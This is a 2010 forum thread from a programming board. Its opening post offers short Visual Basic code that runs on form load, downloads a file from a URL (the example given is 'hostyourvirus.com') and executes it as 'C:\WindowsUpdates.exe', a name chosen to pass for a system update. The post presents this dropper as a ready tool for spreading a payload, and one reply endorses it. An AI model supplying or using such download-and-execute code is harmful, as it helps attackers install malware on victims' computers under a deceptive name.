.:`=-~rANdOm~`-=:.

Tech Lounge => Programming => Topic started by: HeLLMoÐÐ on March 26, 2010, 02:56:41 PM

Title: Download & Execute File -VB- SIMPLE CODE
Post by: HeLLMoÐÐ on March 26, 2010, 02:56:41 PM
(http://i43.tinypic.com/2sai8aq.jpg)

Double click the form and under form1 load private sub type this:
        My.Computer.Network.DownloadFile("Url", "C:\WindowsUpdates.exe")
        Process.Start("C:\WindowsUpdates.exe")

Let me analyze a bit:
My.Computer.Network.DownloadFile("Url", "C:\WindowsUpdates.exe")
So, Url = direct link of your file (ex: hostyourvirus.com/FILE.EXE)

"C:\WindowsUpdates.exe" = the name ur file is gonna get named when it gets downloaded


Thanks for reading,
Title: Re: Download & Execute File -VB- SIMPLE CODE
Post by: » Magic « on April 10, 2010, 10:22:45 AM
I already know this but, +1 Karma, And BUMP!